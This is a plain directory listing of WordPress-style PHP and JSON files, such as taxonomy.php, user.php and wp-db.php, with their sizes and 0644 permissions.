revision.php File 22.93 KB 0644
rewrite.php File 18.76 KB 0644
robots-template.php File 5.05 KB 0644
rss-functions.php File 255 B 0644
rss.php File 22.44 KB 0644
script-loader.php File 110.87 KB 0644
session.php File 258 B 0644
shortcodes.php File 20.93 KB 0644
sitemaps.php File 3.16 KB 0644
spl-autoload-compat.php File 441 B 0644
taxonomy.php File 167.62 KB 0644
template-canvas.php File 592 B 0644
template-loader.php File 2.94 KB 0644
template.php File 21.96 KB 0644
theme-i18n.json File 925 B 0644
theme-templates.php File 5.4 KB 0644
theme.json File 5.6 KB 0644
theme.php File 124.05 KB 0644
update.php File 29.34 KB 0644
user.php File 157.79 KB 0644
vars.php File 5.68 KB 0644
version.php File 929 B 0644
widgets.php File 67.58 KB 0644
wlwmanifest.xml File 1.02 KB 0644
wp-db.php File 106.22 KB 0644
wp-diff.php File 647 B 0644